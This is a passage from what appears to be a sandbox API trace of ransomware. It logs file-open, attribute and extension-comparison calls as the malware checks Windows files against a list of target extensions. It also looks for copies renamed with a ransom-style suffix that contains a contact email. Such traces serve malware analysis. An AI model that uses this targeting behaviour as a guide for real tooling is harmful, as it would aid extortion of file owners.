files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0057.973] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0057.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0057.973] lstrlenW (lpString=".doc") returned 4 [0057.973] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.973] lstrlenW (lpString=".docx") returned 5 [0057.973] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.973] lstrlenW (lpString=".pdf") returned 4 [0057.973] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.973] lstrlenW (lpString=".xls") returned 4 [0057.973] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.973] lstrlenW (lpString=".xlsx") returned 5 [0057.973] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.973] lstrlenW (lpString=".ppt") returned 4 [0057.973] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0057.973] lstrlenW (lpString=".zip") returned 4 [0057.974] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.974] lstrlenW (lpString=".rar") returned 4 [0057.974] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.974] lstrlenW (lpString=".bz2") returned 4 [0057.974] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.974] lstrlenW (lpString=".7z") returned 3 [0057.974] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0057.974] lstrlenW (lpString=".dbf") returned 4 [0057.974] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0057.974] lstrlenW (lpString=".1cd") returned 4 [0057.974] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0057.974] lstrlenW (lpString=".jpg") returned 4 [0057.974] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0057.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0057.974] lstrlenW (lpString=".doc") returned 4 [0057.974] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.974] lstrlenW (lpString=".docx") returned 5 [0057.974] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.974] lstrlenW (lpString=".pdf") returned 4 [0057.974] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.974] lstrlenW (lpString=".xls") returned 4 [0057.974] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.974] lstrlenW (lpString=".xlsx") returned 5 [0057.974] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.974] lstrlenW (lpString=".ppt") returned 4 [0057.974] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0057.975] lstrlenW (lpString=".zip") returned 4 [0057.975] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.975] lstrlenW (lpString=".rar") returned 4 [0057.975] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.975] lstrlenW (lpString=".bz2") returned 4 [0057.975] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.975] lstrlenW (lpString=".7z") returned 3 [0057.975] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0057.975] lstrlenW (lpString=".dbf") returned 4 [0057.975] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0057.975] lstrlenW (lpString=".1cd") returned 4 [0057.975] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0057.975] lstrlenW (lpString=".jpg") returned 4 [0057.975] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.975] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0057.975] lstrlenW (lpString="ShapeCollector.exe") returned 18 [0057.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0058.090] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=695296) returned 1 [0058.090] CloseHandle (hObject=0x220) returned 1 [0058.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20 [0058.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0058.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0058.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0058.091] lstrlenW (lpString=".doc") returned 4 [0058.091] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0058.091] lstrlenW (lpString=".docx") returned 5 [0058.091] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0058.091] lstrlenW (lpString=".pdf") returned 4 [0058.091] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0058.091] lstrlenW (lpString=".xls") returned 4 [0058.091] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0058.091] lstrlenW (lpString=".xlsx") returned 5 [0058.091] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0058.091] lstrlenW (lpString=".ppt") returned 4 [0058.091] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0058.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0058.091] lstrlenW (lpString=".zip") returned 4 [0058.091] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0058.091] lstrlenW (lpString=".rar") returned 4 [0058.091] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0058.091] lstrlenW (lpString=".bz2") returned 4 [0058.092] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0058.092] lstrlenW (lpString=".7z") returned 3 [0058.092] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0058.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0058.092] lstrlenW (lpString=".dbf") returned 4 [0058.092] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0058.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0058.092] lstrlenW (lpString=".1cd") returned 4 [0058.092] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0058.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0058.092] lstrlenW (lpString=".jpg") returned 4 [0058.092] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0058.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0058.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0058.092] lstrlenW (lpString=".doc") returned 4 [0058.092] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0058.092] lstrlenW (lpString=".docx") returned 5 [0058.092] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0058.092] lstrlenW (lpString=".pdf") returned 4 [0058.092] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0058.092] lstrlenW (lpString=".xls") returned 4 [0058.092] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0058.092] lstrlenW (lpString=".xlsx") returned 5 [0058.092] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0058.092] lstrlenW (lpString=".ppt") returned 4 [0058.092] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0058.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0058.092] lstrlenW (lpString=".zip") returned 4 [0058.092] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0058.092] lstrlenW (lpString=".rar") returned 4 [0058.092] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0058.093] lstrlenW (lpString=".bz2") returned 4 [0058.093] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0058.093] lstrlenW (lpString=".7z") returned 3 [0058.093] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0058.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0058.093] lstrlenW (lpString=".dbf") returned 4 [0058.093] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0058.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0058.093] lstrlenW (lpString=".1cd") returned 4 [0058.093] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0058.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0058.093] lstrlenW (lpString=".jpg") returned 4 [0058.093] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0058.093] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0058.093] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0058.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0058.094] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=3584) returned 1 [0058.094] CloseHandle (hObject=0x220) returned 1 [0058.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20 [0058.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0058.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0058.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0058.094] lstrlenW (lpString=".doc") returned 4 [0058.094] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.094] lstrlenW (lpString=".docx") returned 5 [0058.094] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0058.094] lstrlenW (lpString=".pdf") returned 4 [0058.094] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.095] lstrlenW (lpString=".xls") returned 4 [0058.095] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.095] lstrlenW (lpString=".xlsx") returned 5 [0058.095] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0058.095] lstrlenW (lpString=".ppt") returned 4 [0058.095] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0058.095] lstrlenW (lpString=".zip") returned 4 [0058.095] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.095] lstrlenW (lpString=".rar") returned 4 [0058.095] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.095] lstrlenW (lpString=".bz2") returned 4 [0058.095] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.095] lstrlenW (lpString=".7z") returned 3 [0058.095] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0058.095] lstrlenW (lpString=".dbf") returned 4 [0058.095] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0058.095] lstrlenW (lpString=".1cd") returned 4 [0058.095] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0058.095] lstrlenW (lpString=".jpg") returned 4 [0058.095] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0058.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0058.095] lstrlenW (lpString=".doc") returned 4 [0058.095] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.095] lstrlenW (lpString=".docx") returned 5 [0058.095] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0058.095] lstrlenW (lpString=".pdf") returned 4 [0058.096] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.096] lstrlenW (lpString=".xls") returned 4 [0058.096] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.096] lstrlenW (lpString=".xlsx") returned 5 [0058.096] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0058.096] lstrlenW (lpString=".ppt") returned 4 [0058.096] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0058.096] lstrlenW (lpString=".zip") returned 4 [0058.096] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.096] lstrlenW (lpString=".rar") returned 4 [0058.096] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.096] lstrlenW (lpString=".bz2") returned 4 [0058.096] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.096] lstrlenW (lpString=".7z") returned 3 [0058.096] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0058.096] lstrlenW (lpString=".dbf") returned 4 [0058.096] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0058.096] lstrlenW (lpString=".1cd") returned 4 [0058.096] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0058.096] lstrlenW (lpString=".jpg") returned 4 [0058.096] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.096] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0058.096] lstrlenW (lpString="TipBand.dll") returned 11 [0058.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0058.097] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=110592) returned 1 [0058.097] CloseHandle (hObject=0x220) returned 1 [0058.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll")) returned 0x20 [0058.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0058.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0058.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0058.097] lstrlenW (lpString=".doc") returned 4 [0058.098] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0058.098] lstrlenW (lpString=".docx") returned 5 [0058.098] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0058.098] lstrlenW (lpString=".pdf") returned 4 [0058.098] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0058.098] lstrlenW (lpString=".xls") returned 4 [0058.098] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0058.098] lstrlenW (lpString=".xlsx") returned 5 [0058.098] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0058.098] lstrlenW (lpString=".ppt") returned 4 [0058.098] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0058.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0058.098] lstrlenW (lpString=".zip") returned 4 [0058.098] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0058.098] lstrlenW (lpString=".rar") returned 4 [0058.098] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0058.098] lstrlenW (lpString=".bz2") returned 4 [0058.098] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0058.098] lstrlenW (lpString=".7z") returned 3 [0058.098] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0058.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0058.098] lstrlenW (lpString=".dbf") returned 4 [0058.098] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0058.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0058.098] lstrlenW (lpString=".1cd") returned 4 [0058.098] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0058.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0058.098] lstrlenW (lpString=".jpg") returned 4 [0058.098] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0058.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0058.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0058.098] lstrlenW (lpString=".doc") returned 4 [0058.099] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0058.099] lstrlenW (lpString=".docx") returned 5 [0058.099] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0058.099] lstrlenW (lpString=".pdf") returned 4 [0058.099] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0058.099] lstrlenW (lpString=".xls") returned 4 [0058.099] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0058.099] lstrlenW (lpString=".xlsx") returned 5 [0058.099] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0058.099] lstrlenW (lpString=".ppt") returned 4 [0058.099] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0058.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0058.099] lstrlenW (lpString=".zip") returned 4 [0058.099] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0058.099] lstrlenW (lpString=".rar") returned 4 [0058.099] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0058.099] lstrlenW (lpString=".bz2") returned 4 [0058.099] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0058.099] lstrlenW (lpString=".7z") returned 3 [0058.099] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0058.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0058.099] lstrlenW (lpString=".dbf") returned 4 [0058.099] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0058.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0058.099] lstrlenW (lpString=".1cd") returned 4 [0058.099] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0058.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0058.099] lstrlenW (lpString=".jpg") returned 4 [0058.099] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0058.100] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0058.100] lstrlenW (lpString="TipRes.dll") returned 10 [0058.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0058.100] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=544768) returned 1 [0058.100] CloseHandle (hObject=0x220) returned 1 [0058.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll")) returned 0x20 [0058.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0058.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0058.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0058.101] lstrlenW (lpString=".doc") returned 4 [0058.101] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0058.101] lstrlenW (lpString=".docx") returned 5 [0058.101] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0058.101] lstrlenW (lpString=".pdf") returned 4 [0058.101] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0058.101] lstrlenW (lpString=".xls") returned 4 [0058.101] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0058.101] lstrlenW (lpString=".xlsx") returned 5 [0058.101] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0058.101] lstrlenW (lpString=".ppt") returned 4 [0058.101] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0058.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0058.101] lstrlenW (lpString=".zip") returned 4 [0058.101] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0058.101] lstrlenW (lpString=".rar") returned 4 [0058.101] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0058.101] lstrlenW (lpString=".bz2") returned 4 [0058.101] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0058.101] lstrlenW (lpString=".7z") returned 3 [0058.101] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0058.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0058.101] lstrlenW (lpString=".dbf") returned 4 [0058.101] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0058.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0058.101] lstrlenW (lpString=".1cd") returned 4 [0058.101] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0058.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0058.101] lstrlenW (lpString=".jpg") returned 4 [0058.101] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0058.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0058.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0058.102] lstrlenW (lpString=".doc") returned 4 [0058.102] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0058.102] lstrlenW (lpString=".docx") returned 5 [0058.102] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0058.102] lstrlenW (lpString=".pdf") returned 4 [0058.102] lstrcmpiW 